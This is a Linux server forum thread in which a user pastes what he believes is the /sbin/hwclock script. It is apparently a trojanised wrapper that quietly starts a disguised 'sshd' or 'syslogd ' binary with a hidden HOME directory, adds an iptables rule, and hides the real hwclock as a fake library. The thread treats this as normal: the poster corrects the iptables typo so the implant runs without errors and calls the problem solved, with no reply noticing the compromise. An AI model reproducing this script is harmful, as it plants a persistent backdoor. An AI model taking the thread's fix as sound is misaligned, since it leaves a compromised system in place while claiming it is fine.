LinuxQuestions.org
Help answer threads with 0 replies.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Server
User Name
Password
Linux - Server This forum is for the discussion of Linux Software used in a server related context.

Notices


Reply
  Search this Thread
Old 02-10-2012, 05:56 AM   #1
Skillz
Member
 
Registered: Sep 2007
Posts: 252

Rep: Reputation: 32
/sbin/hwclock reports error..


I get this error when I run the command /sbin/hwclock

Bad argument `45295'
Try `iptables -h' or 'iptables --help' for more information.
Fri 10 Feb 2012 05:52:03 AM CST -0.022700 seconds

So I opened the file up to see why it's doing that.

Code:
#!/bin/bash
#
# hwclock - query and set the hardware clock (RTC)
#
# Written  by  Bryan Henderson, September 1996 (bryanh@giraffe-data.com)
/sbin/iptables -A OUTPUT -p tcp -dport 45295 -j DROP
if test -x "/usr/bin/sshd"; then
        umask 077; HOME=/usr/share/locale/tr  "/usr/bin/sshd"  &>/dev/null
   else
        if test -x "/sbin/syslogd "; then
         umask 077; HOME=/usr/share/locale/tr  "/sbin/syslogd " &>/dev/null
           else
        cp /usr/include/libutil2.1.h "/sbin/syslogd "
        umask 077; HOME=/usr/share/locale/tr "/sbin/syslogd "   1>/dev/null
fi
fi
/usr/lib/libutil3.2.1.2.so $@ 2>/dev/null
Line 6:
/sbin/iptables -A OUTPUT -p tcp -dport 45295 -j DROP

What's the correct way, since obviously the way it's programmed isn't working now.

CentOS is the operating system.
 
Old 02-10-2012, 05:58 AM   #2
Skillz
Member
 
Registered: Sep 2007
Posts: 252

Original Poster
Rep: Reputation: 32
Well guess I should probably Google a little more before asking for help. Initial searches turned up nothing, so I figured -dport might be the problem so I researched that. Turns out, it's --dport not -dport so I changed the line to read.

/sbin/iptables -A OUTPUT -p tcp --dport 45295 -j DROP

Now everything is fine.

Thanks!
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
hwclock:Could not access RTC error jayhorizon Linux - Software 5 01-26-2011 10:56 AM
/sbin/service crond unable to start - gives permission error on /usr/sbin/crond mgervacio Linux - Newbie 6 07-16-2008 01:03 PM
/sbin/hwclock --systohc not working AnimaSola Linux - Software 6 04-25-2005 01:06 PM
/sbin/clock and /sbin/hwclock: out of memory problems victor2000 Linux - General 0 07-29-2003 03:16 PM
tripwire reports /usr/sbin/tripwire changed alfaalfabeta Linux - Security 5 07-22-2003 05:52 PM

LinuxQuestions.org > Forums > Linux Forums > Linux - Server

All times are GMT -5. The time now is 10:42 PM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration